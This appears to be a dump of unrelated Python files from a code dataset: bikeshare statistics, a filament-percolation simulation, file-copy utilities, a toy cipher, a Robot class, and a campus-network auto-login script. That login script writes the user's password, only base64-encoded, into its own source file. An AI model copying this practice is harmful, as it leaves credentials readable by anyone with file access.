b\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n import time\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n import datetime as dt\n import pandas as pd\n monthdict={\"all\":-1,\"january\":1,\"february\":2,\"march\":3,\"april\":4,\"may\":5,\"june\":6}\n daydict={\"all\":-1,\"monday\":0,\"tuesday\":1,\"wednesday\":2,\"thursday\":3,\"friday\":4,\"saturday\":5,\"sunday\":6}\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n\n\n def get_key_d(val):\n for key, value in daydict.items():\n if val == value:\n return key\n\n return \"key doesn't exist\"\n print(\"Most common day is\",get_key_d(pd.to_datetime(df[\"Start Time\"]).dt.weekday.value_counts().index[0]))\n\n def get_key_m(val):\n for key, value in monthdict.items():\n if val == value:\n return key\n\n return \"key doesn't exist\"\n print(\"Most common month is\",get_key_m(pd.to_datetime(df[\"Start Time\"]).dt.month.value_counts().index[0]))\n\n\n print(\"Most common hour\",pd.to_datetime(df[\"Start Time\"]).dt.hour.value_counts().index[0])\n\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n print(\"Most common Start Station is\",df[\"Start Station\"].value_counts().index[0])\n print(\"Most common End Station is\",df[\"End Station\"].value_counts().index[0])\n paths=\"FROM \"+df[\"Start Station\"]+\" TO \"+ df[\"End Station\"]\n print(\"Most common route is\",paths.value_counts().index[0])\n # TO DO: display most commonly used start station\n\n\n # TO DO: display most commonly used end station\n\n\n # TO DO: display most frequent combination of start station and end station trip\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n import time\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # TO DO: display total travel time\n print(\"Average duration is\", df[\"Trip Duration\"].mean())\n print(\"Total duration is\",df[\"Trip Duration\"].sum())\n\n # TO DO: display mean travel time\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n # TO DO: Display counts of user types\n print(\"Counts of User Types:\")\n print(df[\"User Type\"].value_counts())\n print('-'*10)\n\n # TO DO: Display earliest, most recent, and most common year of birth\n try:\n print(\"Earliest year is \",df[\"Birth Year\"].min())\n print(\"Most recent year is \",df[\"Birth Year\"].max())\n print(\"Most common year is \",df[\"Birth Year\"].value_counts().index[0])\n except:\n print(\"Birth Year is not available with selected filters !! \")\n print('-'*10)\n\n\n # TO DO: Display counts of gender\n try:\n print(\"Counts of Genders:\")\n print(df[\"Gender\"].value_counts())\n except:\n print(\"Gender is not available with selected filters!!\")\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n start=0\n end=5\n while True :\n showmore=input('\\nWould you like to see 5 row from filtered data? Enter yes or no.\\n')\n if showmore.lower()==\"yes\":\n print(df[start:end])\n elif showmore.lower()==\"no\":\n break\n else:\n print(\"Incorrectly entered input,Please enter yes or no.\")\n start=start+5\n end=end+5\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":6751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"152364802","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nEb0 = 1.0 # Energy barrier at T0\r\nK = 0.1 # Thermal conductivity\r\nC = 10. # Thermal capacitance\r\nT0 = 10. # Substrate temperature\r\nTimt = 30. # Insulator to metal transition\r\nRI = 10. # Insulating resistivity\r\nRM = 1. # Metallic resistivity\r\nRL = 5. # Load resistivity\r\nN = 100 # Number of cells\r\n\r\nnM = np.array(range(0, N)) # Number of metallic cells \r\nnI = N - nM # Number of insulating cells\r\nRS = nM*RM + nI*RI # Sample resistance \r\n\r\ndef get_T(dt, Vapp):\r\n '''\r\n VS = RS/(RS + RL)*Vapp # Sample voltage\r\n Vi = VS*RI/RS # Insulating cell voltage\r\n Vi = VS/nI\r\n '''\r\n Vi = Vapp/nI\r\n Vi = RI/(RI*nI+RM*nM)*Vapp\r\n \r\n return T0 + Vi**2/(RI)*dt\r\n return T0 + Vi**2/(RI*K)*(1 - np.exp(-K/C*dt))\r\n \r\ndef get_Eb(T):\r\n Tnorm = np.array([t if t < Timt else Timt for t in T])\r\n return Eb0*(Timt - Tnorm)/(Timt - T0)\r\n\r\ndef get_P(dt, Vapp, i=N): \r\n T = get_T(dt, Vapp)\r\n Eb = get_Eb(T)\r\n \r\n return np.exp(np.sum(-Eb[:i]/T[:i]))\r\n \r\n# Print energy barrier\r\nfig = plt.figure(figsize=(2, 2))\r\nax = fig.add_subplot()\r\n\r\nTarr = np.arange(0., 60., 1.)\r\nEbArr = get_Eb(Tarr) \r\n\r\nax.plot(Tarr, EbArr, linewidth=2.6, color='black')\r\nax.set(xlabel='T (arb. units)', ylabel=r'$\\Delta$E')\r\nax.xaxis.label.set_size(16)\r\nax.yaxis.label.set_size(16) \r\nax.xaxis.set_ticks(np.arange(0, 60, 30))\r\nax.tick_params(axis='both', which='both', labelsize=16, length=5, width=1)\r\nax.margins(x=0)\r\nfig.tight_layout()\r\nplt.savefig('DeltaE.pdf') \r\nplt.clf() \r\n\r\n# Probability distribution\r\n\r\nprint('Doing probability distribution...')\r\n\r\ndtArr = [100, 50, 20, 10, 4] # Observation windows\r\ncolors = ['green', 'grey', # Curve colors\r\n 'brown', 'navy', 'purple']\r\nVappArr = np.arange(0., 810., 10.) # Applied voltages\r\n\r\nfig = plt.figure(figsize=(6, 4))\r\nax = fig.add_subplot()\r\n\r\nfor dt, c in zip(dtArr, colors[:len(dtArr)]):\r\n PList = []\r\n for Vapp in VappArr:\r\n PList.append(get_P(dt, Vapp))\r\n \r\n # Voltage is normalized for better plotting\r\n normVappArr = VappArr/10.\r\n \r\n ax.plot(normVappArr, PList, label=r'$\\Delta$t='+str(dt), linewidth=2.6, color=c)\r\n\r\nax.set(xlabel=r'$10^{-1}$ V (arb. units)', ylabel='P(V)')\r\nax.xaxis.label.set_size(16)\r\nax.yaxis.label.set_size(16) \r\nax.tick_params(axis='both', which='both', labelsize=16, length=5, width=1)\r\nax.legend()\r\nax.margins(x=0)\r\nplt.legend(prop={'size': 16}) \r\nfig.tight_layout()\r\nplt.savefig('P(Vapp, dt).pdf') \r\nplt.clf()\r\n\r\n\r\n# Filament length as a function of voltage\r\n\r\nprint('Doing filament length as a function of V...')\r\n\r\nNarr = [50, 100, 150, 200]\r\ndtArr = np.arange(0, 3001, 1)\r\nVappArr = [50., 20., 10., 5.] \r\nr_dtArr = [np.random.rand() for i in dtArr]\r\ncolors = ['blueviolet', 'slateblue', 'navy', 'royalblue']\r\nlabelsize = 22\r\nlegendsize = 20\r\n\r\nfor N in Narr:\r\n fig = plt.figure(figsize=(5, 5))\r\n ax = fig.add_subplot()\r\n\r\n nTrials = 1\r\n \r\n print('N='+str(N)) \r\n nM = np.array(range(0, N)) \r\n nI = N - nM \r\n RS = nM*RM + nI*RI \r\n \r\n for Vapp, c in zip(VappArr, colors[:len(VappArr)]):\r\n print('Vapp='+str(Vapp)) \r\n lenFil = [] # Filament length \r\n for n in range(nTrials):\r\n print(str(100*n/nTrials)+'% runs', end='\\r') \r\n #r = np.random.rand()\r\n lenFil_n = [0]\r\n for dt, r in zip(dtArr, r_dtArr):\r\n if lenFil_n[-1] < N: \r\n if r < get_P(dt, Vapp, lenFil_n[-1]+1):\r\n lenFil_n.append(lenFil_n[-1]+1) \r\n else:\r\n lenFil_n.append(lenFil_n[-1])\r\n else:\r\n break\r\n lenFil = np.array(lenFil_n) if len(lenFil) == 0 else np.array(lenFil) + np.array(lenFil_n) \r\n lenFil = lenFil / nTrials \r\n # Time is normalized for better plotting\r\n ax.plot(dtArr[:len(lenFil)-1]/100., lenFil[1:], label='V='+str(int(Vapp)), linewidth=2.6, color=c)\r\n\r\n ax.set(xlabel=r'$10^{-2}$ Time (arb. units)', ylabel='Filament length (# cells)')\r\n ax.xaxis.label.set_size(labelsize)\r\n ax.margins(x=0)\r\n ax.yaxis.label.set_size(labelsize) \r\n ax.set_ylim([0, 200])\r\n ax.set_xlim([0, 30])\r\n ax.tick_params(axis='both', which='both', labelsize=labelsize, length=5, width=1) \r\n ax.xaxis.set_ticks(np.arange(0, 31, 10))\r\n plt.legend(prop={'size': legendsize})\r\n fig.tight_layout() \r\n \r\n # Add space to the top of the title\r\n plt.subplots_adjust(top=0.90) \r\n plt.title('N='+str(int(N))+' (# of cells)', fontsize=labelsize)\r\n \r\n plt.savefig('LenFil(dt, Vapp)_N='+str(N)+'.pdf') \r\n plt.clf()\r\n\r\n# Filament length as a function of gap size\r\n\r\nprint('Doing filament length as a function of gap size...')\r\n\r\ncolors = ['brown', 'red', 'darksalmon', 'sienna', 'sandybrown']\r\n\r\nfor Vapp in VappArr:\r\n print('Vapp='+str(Vapp)) \r\n fig = plt.figure(figsize=(5, 5))\r\n ax = fig.add_subplot()\r\n\r\n nTrials = 1\r\n\r\n for N, c in zip(Narr, colors[:len(Narr)]):\r\n print('N='+str(N)) \r\n nM = np.array(range(0, N)) \r\n nI = N - nM \r\n RS = nM*RM + nI*RI \r\n lenFil = [] # Filament length \r\n for n in range(nTrials):\r\n print(str(100*n/nTrials)+'% runs', end='\\r') \r\n #r = np.random.rand()\r\n lenFil_n = [0]\r\n for dt, r in zip(dtArr, r_dtArr):\r\n if lenFil_n[-1] < N: \r\n if r < get_P(dt, Vapp, lenFil_n[-1]+1):\r\n lenFil_n.append(lenFil_n[-1]+1) \r\n else:\r\n lenFil_n.append(lenFil_n[-1])\r\n else:\r\n break\r\n lenFil = np.array(lenFil_n) if len(lenFil) == 0 else np.array(lenFil) + np.array(lenFil_n) \r\n lenFil = lenFil / nTrials \r\n # Time is normalized for better plotting \r\n ax.plot(dtArr[:len(lenFil)-1]/100., lenFil[1:], label='N='+str(N), linewidth=2.6, color=c)\r\n\r\n ax.set(xlabel=r'$10^{-2}$ Time (arb. units)', ylabel='Filament length (# cells)')\r\n ax.xaxis.label.set_size(labelsize)\r\n ax.margins(x=0)\r\n ax.yaxis.label.set_size(labelsize) \r\n ax.set_ylim([0, 200])\r\n ax.set_xlim([0, 30])\r\n ax.tick_params(axis='both', which='both', labelsize=labelsize, length=5, width=1) \r\n ax.xaxis.set_ticks(np.arange(0, 31, 10))\r\n plt.legend(prop={'size': legendsize})\r\n fig.tight_layout() \r\n \r\n # Add space to the top of the title\r\n plt.subplots_adjust(top=0.90) \r\n plt.title('V='+str(int(Vapp))+' (arb. units)', fontsize=labelsize)\r\n \r\n plt.savefig('LenFil(dt, N)_Vapp='+str(int(Vapp))+'.pdf') \r\n plt.clf()\r\n\r\n# Incubation times\r\n\r\nprint('Doing incubation times...')\r\n\r\nfig = plt.figure(figsize=(3, 6))\r\nax = fig.add_subplot()\r\n\r\ncolors = ['brown', 'red', 'darksalmon', 'sienna', 'sandybrown']\r\ncolors = ['black']\r\nNarr = [50, 100, 150, 200]\r\nNarr = [100]\r\ndtArr = np.arange(1., 6.e3, 1.)\r\n\r\nnTrials = 400 \r\n\r\nfor N, c in zip(Narr, colors):\r\n print('N='+str(N))\r\n \r\n nM = np.array(range(0, N)) \r\n nI = N - nM \r\n RS = nM*RM + nI*RI \r\n \r\n tIncMeanArr = [] # Mean incubation times\r\n tIncVarArr = [] # Incubation times variance\r\n tIncStdArr = [] # Standard deviation\r\n\r\n VappArr = np.concatenate([[5., 10, 20.], \r\n np.arange(30., 100., 20.),\r\n [125., 150., 200.]]) \r\n\r\n for Vapp in VappArr:\r\n print('Vapp='+str(Vapp))\r\n tIncArr = []\r\n PArr = [get_P(dt, Vapp) for dt in dtArr]\r\n for i in range(nTrials):\r\n print(str(100*i/nTrials)+'% runs', end='\\r') \r\n r = np.random.rand()\r\n for P, dt in zip(PArr, dtArr): \r\n if np.random.rand() < P:\r\n tIncArr.append(dt)\r\n break\r\n tIncArr = np.array(tIncArr)\r\n \r\n # If we observed an event...\r\n if len(tIncArr) != 0: \r\n print('n events='+str(len(tIncArr)))\r\n \r\n # Padding\r\n #tIncArr = np.concatenate([tIncArr, dtArr[-1]*np.ones(nTrials-len(tIncArr))])\r\n \r\n tIncMeanArr.append(np.mean(tIncArr))\r\n tIncVarArr.append(np.var(tIncArr)/len(tIncArr))\r\n tIncStdArr.append(3*np.sqrt(tIncVarArr[-1]))\r\n \r\n #print(tIncArr) \r\n print('tInc mean='+str(np.round(tIncMeanArr[-1],2)))\r\n print('tInc var='+str(np.round(tIncVarArr[-1],2)))\r\n print('tInc 3*std='+str(np.round(tIncStdArr[-1],2)))\r\n else:\r\n VappArr = np.delete(VappArr, 0)\r\n \r\n # Voltage is normalized only for the sake of plotting \r\n NormVappArr = VappArr/10.\r\n \r\n ax.plot(NormVappArr, tIncMeanArr, color=c, linestyle='-', linewidth='0.5', label='N='+str(N))\r\n eb = ax.errorbar(NormVappArr, tIncMeanArr, yerr=tIncVarArr, color=c, fmt='.', markersize=8, capsize=8)\r\n eb[-1][0].set_linestyle('dotted')\r\n \r\nax.set(xlabel=r'$10^{-1}$ V (arb. units)', ylabel=r'$\\tau_{inc}$ (arb. units)')\r\nax.xaxis.label.set_size(16)\r\nax.xaxis.set_ticks(np.arange(0, 22, 5))\r\nax.set_xlim([-2, 22])\r\nax.yaxis.label.set_size(16)\r\n#ax.ticklabel_format(axis='x', style='sci', scilimits=(4,4))\r\nax.tick_params(axis='both', which='both', labelsize=16, length=5, width=1)\r\nax.set_yscale('log')\r\n\r\nfig.tight_layout()\r\n#plt.legend(prop={'size': 16})\r\nplt.savefig('tInc(Vapp).pdf') \r\nplt.close()\r\n","sub_path":"fil_perc_prob_main.py","file_name":"fil_perc_prob_main.py","file_ext":"py","file_size_in_byte":10130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"555011162","text":"import os,shutil\nimport sys, csv\ndef mycopyfile(srcfile,dstfile):\n if not os.path.isfile(srcfile):\n print(srcfile+\"not exist!\")\n else:\n fpath,fname=os.path.split(dstfile) #分离文件名和路径\n if not os.path.exists(fpath):\n os.makedirs(fpath) #创建路径\n shutil.copyfile(srcfile,dstfile) #复制文件\n print( \"copy\" + srcfile + \"->\" + dstfile )\n\ndef read_csv_dataset(filename):\n dataset = {}\n with open(filename, 'rt', encoding=\"utf-8\") as fin:\n reader = csv.reader(fin)\n next(reader, None) # 跳过首行\n line = 0\n for row in reader:\n fullid = row[0]\n category = row[1]\n subcategory = row[2]\n dataset[line] = (fullid, category, subcategory) # 'snn.098_1606786': ('Bag', 'Backpack')\n line += 1\n return dataset\n\ndef read_indexMartix(filename, top_k = 5):\n dataset = {}\n with open(filename, 'rt', encoding=\"utf-8\") as fin:\n reader = csv.reader(fin)\n # next(reader, None) # 跳过首行\n line = 0\n for row in reader:\n dataset[line] = ( row[:top_k] ) # 'snn.098_1606786': ('Bag', 'Backpack')\n line += 1\n return dataset\n\n\n\n\nif __name__ == '__main__':\n \n path = '/home/sun/WorkSpace/PointDeal/Pointnet_Pointnet2_pytorch/Result/'\n\n query_csv = read_csv_dataset(path+'test_answer.csv') # 423: ('snn.246_431617b', 'Table', 'SideTable')\n shapenet_csv = read_csv_dataset(path+'shapenet.csv') # 3305: ('wss.ffb4e07d613b6a62bbfa57fc7493b378', 'Box', 'TissueBox')\n indexMartix = read_indexMartix(path+'indexMartix-Top10.csv',top_k = 10) # # 423: ['1423', ' 2762', ' 2649', ' 2029', ' 3044', ' 2129']\n\n for key in range(200,215): # indexMartix\n file_dir = path + \"query_{0}_{1}_{2}/\".format('%03d'%key,'%s'%query_csv[key][1],'%s'%query_csv[key][2])\n if not os.path.isdir(file_dir):\n os.makedirs(file_dir+\"/model/\")\n \n objname = query_csv[key][0][4:]+ \".ply\"\n rootpath = '/home/sun/WorkSpace/shrec17_data_jan27/scenenn/objects/'\n srcfile = rootpath + objname\n dstfile = file_dir + objname\n mycopyfile(srcfile,dstfile)\n\n # print(indexMartix[key]) # ['787', ' 1790', ' 703', ' 1861', ' 1970', ' 1964', ' 982', ' 2348', ' 1560', ' 286']\n top = 1\n for item in indexMartix[key]:\n # print(item)\n objname = shapenet_csv[int(item)][0][4:] + \".obj\"\n rootpath = '/home/sun/WorkSpace/shrec17_data_jan27/shapenet/models/'\n srcfile = rootpath + objname\n dstfile = file_dir + \"model/{0}_{1}_{2}\".format('%02d'%top,'%s'%shapenet_csv[int(item)][1], '%s'%shapenet_csv[int(item)][2] ) + \".obj\"\n top += 1\n # print(dstfile)\n mycopyfile(srcfile,dstfile)","sub_path":"copyAndViewResult.py","file_name":"copyAndViewResult.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"277874278","text":"#To reverse an array\r\ndef reverse(arr):\r\n m = len(arr)\r\n start=0\r\n end=m-1\r\n while(start\\d+)/$', views.stream, name='stream'),\n\n # url(r'^contact/$', views.contact, name='contact'),\n]","sub_path":"control_pane/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"613371419","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom urllib import request, parse\nimport json\nimport base64\nimport re\nimport os\nimport shutil\nimport platform\n\nif platform.system() == 'Windows':\n net = os.popen('ping 114.114.114.114 | find /i \"100\" /c')\nelse:\n net = os.popen('ping -c 3 114.114.114.114 | grep \"100\" | wc -l') \nping = net.read()\nif ping != '0\\n':\n url = 'http://10.255.255.13/index.php/index/login'\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'\n referer = 'http://10.255.255.13'\n origin = 'http://10.255.255.13'\n first_use = 1\n username = input('Enter your username(Student number or mobile number):\\n')\n domain = input('Enter your domain(ChinaNet/Unicom/CMCC/NUIST):\\n')\n password = base64.b64encode(str.encode(input('Enter your password:\\n')))\n enablemacauth = '0'\n login_data = parse.urlencode([\n ('username', username),\n ('password', password),\n ('domain', domain),\n ('enablemacauth', enablemacauth)\n ])\n req = request.Request(url)\n req.add_header('Origin', origin)\n req.add_header('User-Agent', user_agent)\n req.add_header('Referer', referer)\n with request.urlopen(req, data=login_data.encode('utf-8')) as f:\n print('Status:', f.status, f.reason)\n if first_use:\n shutil.copy2(os.getcwd()+'/auto_inuist.py',os.getcwd()+'/auto_inuist_tmp.py')\n old = os.getcwd()+'/auto_inuist.py'\n new = os.getcwd()+'/auto_inuist_tmp.py'\n o = open(old, mode='r')\n n = open(new, mode='w')\n for line in o:\n n.write(line.replace('username = input(\\'Enter your username(Student number or mobile number):\\\\n\\')', 'username = \\''+username+'\\'')\\\n .replace('domain = input(\\'Enter your domain(ChinaNet/Unicom/CMCC/NUIST):\\\\n\\')', 'domain = \\''+domain+'\\'')\\\n .replace('password = base64.b64encode(str.encode(input(\\'Enter your password:\\\\n\\')))', 'password = \\''+password.decode()+'\\'')\\\n .replace('first_use = 1', 'first_use = 0'))\n o.close()\n n.close()\n os.remove(old)\n os.rename(new, old)\n if platform.system() == 'Windows':\n print('Please use the scheduled task to set up automatic login. You need to add auto_nuist.py to the scheduled task.')\n else:\n if input('Do you need to use scheduled tasks for automatic login?(Y/N)') == \"Y\":\n crontab = os.getcwd()+'/crontab'\n if not os.path.exists(crontab):\n c = open(crontab,'w')\n c.write('7-23/10 * * * * python3 '+old+'\\n')\n c.close()\n os.system('crontab ./crontab')\n if platform.system() == 'Linux':\n os.system('service cron restart')\n else:\n os.system('sudo /usr/sbin/cron restart')\n print('If you fail to create a scheduled task, run \\'crontab -e\\' and enter \\'7-23/10 * * * * python3 '+old\\\n +'\\\\auto_nuist.py\\', then run \\'sudo /usr/sbin/cron restart\\' to enabling it!')\n","sub_path":"auto_inuist.py","file_name":"auto_inuist.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"184283448","text":"bilgi = \"\"\"\r\nSIFRELEME PROGRAMI\r\n1. deşifreli metni şifreliye cevir\r\n2. şifreli metni deşifreye cevir\r\n3. Cikis \r\n\"\"\"\r\nliste = []\r\nfor i in range(128):\r\n karakter = \"%c\" % i\r\n liste += [karakter]\r\nsifre = dict()\r\nfor i in range(len(liste)):\r\n sifre[liste[i]] = chr(ord(liste[i]) + 5)\r\n\r\nşifreli = \"\"\r\ndeşifreli = \"\"\r\nwhile True:\r\n print(bilgi)\r\n secimm = input(\"Seciminiz: \")\r\n şifreli = \"\"\r\n if secimm == \"1\":\r\n metin = input(\"deşifreli metin: \")\r\n for i in metin:\r\n şifreli += sifre[i]\r\n print(\"Metnin sifreli hali :\", şifreli)\r\n\r\n elif secimm == \"2\":\r\n metin = input(\"şifreli metin giriniz: \")\r\n deşifreli = \"\"\r\n for i in metin:\r\n for k, v in sifre.items():\r\n if i == v:\r\n deşifreli += k\r\n print(\"Metnin deşifrelisi :\", deşifreli)\r\n elif secimm == \"3\":\r\n print(\"Cikis yapiliyor...\")\r\n break\r\n else:\r\n print(\"Yanlis giris yaptiniz..\")\r\n break\r\n","sub_path":"2.ödev-şifreleme.py","file_name":"2.ödev-şifreleme.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"353917619","text":"import math\n\n\nclass Robot:\n\n def __init__(self, xcoor, ycoor, fuel):\n self.x = xcoor\n self.y = ycoor\n self.f = fuel\n self.fc = 0\n self.dis = 0\n\n def mileage(self):\n self.dis = self.dis + 1\n self.f = self.f - 0.5\n self.fc = self.fc + 0.5\n\n def up(self):\n if self.f > 0:\n self.y = self.y + 1\n self.mileage()\n\n def down(self):\n if self.f > 0:\n self.y = self.y - 1\n self.mileage()\n\n def right(self):\n if self.f > 0:\n self.x = self.x + 1\n self.mileage()\n\n def left(self):\n if self.f > 0:\n self.x = self.x - 1\n self.mileage()\n\n def position(self):\n return self.x, self.y\n\n def distance(self):\n return self.dis\n\n def fuel_left(self):\n return self.f\n\n def fuel_consumed(self):\n return self.fc\n\n def fuel_required(self, mod_hor, mod_ver):\n return (mod_ver + mod_hor) / 2\n\n def update_history(self, dis_ver, dis_hor, mod_hor, mod_ver, des_x, des_y, fuel_req):\n self.x = des_x\n self.y = des_y\n self.f = self.f - fuel_req\n self.fc = self.fc + fuel_req\n self.dis = self.dis + mod_hor + mod_ver\n\n @staticmethod\n def left_movement(mod_hor, route):\n while mod_hor > 0:\n route.append(\"left\")\n mod_hor = mod_hor - 1\n\n @staticmethod\n def right_movement(mod_hor, route):\n while mod_hor > 0:\n route.append(\"right\")\n mod_hor = mod_hor - 1\n\n @staticmethod\n def down_movement(mod_ver, route):\n while mod_ver > 0:\n route.append(\"down\")\n mod_ver = mod_ver - 1\n\n @staticmethod\n def up_movement(mod_ver, route):\n while mod_ver > 0:\n route.append(\"up\")\n mod_ver = mod_ver - 1\n\n def max_steps(self):\n return self.f * 2\n\n def ip_robot_less_fuel(self, robot, mod_hor, mod_ver, inter_x, inter_y):\n steps_rob = self.max_steps()\n\n if self.x > robot.x:\n inter_x = self.x - min(steps_rob, mod_hor)\n steps_rob = steps_rob - min(steps_rob, mod_hor)\n elif self.x < robot.x:\n inter_x = self.x + min(steps_rob, mod_hor)\n steps_rob = steps_rob - min(steps_rob, mod_hor)\n\n if self.y > robot.y:\n inter_y = self.y - min(steps_rob, mod_ver)\n elif self.y < robot.y:\n inter_y = self.y + min(steps_rob, mod_ver)\n\n return inter_x, inter_y\n # (while steps_rob1 > 0 and mod_hor > 0:\n # self.x = self.x - 1\n # mod_hor = mod_hor - 1\n # steps_rob1 = steps_rob1 - 1) --> min(steps_rob, mod_hor)\n\n def intersection_point(self, robot):\n if self.x == robot.x and self.y == robot.y:\n return \"Robots are already at the intersection point\"\n else:\n total_fuel = self.f + robot.f\n dis_hor = robot.x - self.x\n dis_ver = robot.y - self.y\n\n mod_hor = abs(dis_hor)\n mod_ver = abs(dis_ver)\n\n fuel_req = self.fuel_required(mod_hor, mod_ver)\n\n if total_fuel < fuel_req:\n return \"Fuel not sufficient\"\n\n else:\n inter_x = self.x\n inter_y = self.y\n\n mp_x = (self.x + robot.x) / 2\n mp_y = (self.y + robot.y) / 2\n\n mp_x1 = math.ceil(mp_x)\n mp_y1 = math.ceil(mp_y)\n mp_x2 = math.floor(mp_x)\n mp_y2 = math.floor(mp_y)\n\n mod_hor_mp1 = abs(mp_x1 - self.x)\n mod_ver_mp1 = abs(mp_y1 - self.y)\n fuel_req_mp1 = self.fuel_required(mod_hor_mp1, mod_ver_mp1)\n\n mod_hor_mp2 = abs(mp_x2 - self.x)\n mod_ver_mp2 = abs(mp_y2 - self.y)\n fuel_req_mp2 = self.fuel_required(mod_hor_mp2, mod_ver_mp2)\n\n if (self.f >= fuel_req_mp1 and robot.f >= fuel_req_mp1) \\\n or (self.f >= fuel_req_mp1 and robot.f >= fuel_req_mp2):\n inter_x = mp_x1\n inter_y = mp_y1\n return inter_x, inter_y\n elif self.f >= fuel_req_mp2 and robot.f >= fuel_req_mp1:\n inter_x = mp_x2\n inter_y = mp_y2\n return inter_x, inter_y\n\n # Not associated with midpoints. IP allocated based on fuel sufficiency in both robots.\n elif self.f < fuel_req_mp2 <= robot.f:\n return self.ip_robot_less_fuel(robot, mod_hor, mod_ver, inter_x, inter_y)\n elif self.f >= fuel_req_mp2 > robot.f:\n return robot.ip_robot_less_fuel(self, mod_hor, mod_ver, inter_x, inter_y)\n\n def movements(self, des_x, des_y):\n route = []\n\n dis_hor = des_x - self.x\n dis_ver = des_y - self.y\n\n mod_hor = abs(dis_hor)\n mod_ver = abs(dis_ver)\n\n fuel_req = self.fuel_required(mod_hor, mod_ver)\n\n if self.f >= fuel_req:\n self.update_history(dis_ver, dis_hor, mod_hor, mod_ver, des_x, des_y, fuel_req)\n\n if dis_hor < 0:\n self.left_movement(mod_hor, route)\n elif dis_hor > 0:\n self.right_movement(mod_hor, route)\n\n if dis_ver < 0:\n self.down_movement(mod_ver, route)\n\n elif dis_ver > 0:\n self.up_movement(mod_ver, route)\n\n return route\n\n\nclass EnergyEfficientRobot(Robot):\n def mileage(self):\n self.dis = self.dis + 1\n self.f = self.f - 0.25\n self.fc = self.fc + 0.25\n\n def fuel_required(self, mod_hor, mod_ver):\n return (mod_ver + mod_hor) / 4\n\n\nclass FaultyRobot(Robot):\n def up(self):\n print(\"Error - Up command cannot pass\")\n\n def update_history(self, dis_ver, dis_hor, mod_hor, mod_ver, des_x, des_y, fuel_req):\n if dis_ver < 0:\n mod_ver = 0\n else:\n mod_ver = dis_ver\n\n fuel_req = (mod_ver + mod_hor) / 2\n\n if dis_ver >= 0:\n self.y = des_y\n\n self.x = des_x\n self.f = self.f - fuel_req\n self.fc = self.fc + fuel_req\n self.dis = self.dis + mod_hor + mod_ver\n\n @staticmethod\n def up_movement(mod_ver, route):\n print(\"Up command cannot pass\")\n\n\nr1 = Robot(0, 0, 20)\nr1.up()\nprint(\"position =\", r1.position())\nr1.down()\nprint(\"position =\", r1.position())\nprint(\"total distance =\", r1.distance(), \"units\")\nr1.right()\nprint(\"position =\", r1.position())\nr1.left()\nprint(\"position =\", r1.position())\nprint(\"total distance =\", r1.distance(), \"units\")\nprint(\"fuel left =\", r1.fuel_left(), \"units\")\nr1.up()\nr1.up()\nprint(\"position =\", r1.position())\nprint(\"total distance =\", r1.distance(), \"units\")\nprint(\"fuel left =\", r1.fuel_left(), \"units\")\nprint(\"route =\", r1.movements(1, 5))\nprint(\"route =\", r1.movements(-1, 9))\nprint(\"route =\", r1.movements(0, 0))\nprint(\"route =\", r1.movements(1, 100))\nprint(\"position =\", r1.position())\nprint(\"total distance =\", r1.distance(), \"units\")\nprint(\"fuel left =\", r1.fuel_left(), \"units\")\nprint(\"fuel consumed =\", r1.fuel_consumed(), \"units\")\nprint(\"|\" * 90)\n\nprint(\"\")\nprint(\"Energy Efficient Robot\")\nprint(\"\")\ne = EnergyEfficientRobot(1, 3, 8)\ne.up()\nprint(\"position =\", e.position())\ne.down()\nprint(\"position =\", e.position())\nprint(\"total distance =\", e.distance(), \"units\")\ne.right()\nprint(\"position =\", e.position())\ne.left()\nprint(\"position =\", e.position())\nprint(\"total distance =\", e.distance(), \"units\")\nprint(\"fuel left =\", e.fuel_left(), \"units\")\ne.up()\ne.up()\nprint(\"position =\", e.position())\nprint(\"total distance =\", e.distance(), \"units\")\nprint(\"fuel left =\", e.fuel_left(), \"units\")\nprint(\"route =\", e.movements(1, 5))\nprint(\"route =\", e.movements(-1, 9))\nprint(\"route =\", e.movements(0, 0))\nprint(\"route =\", e.movements(1, 100))\nprint(\"position =\", e.position())\nprint(\"total distance =\", e.distance(), 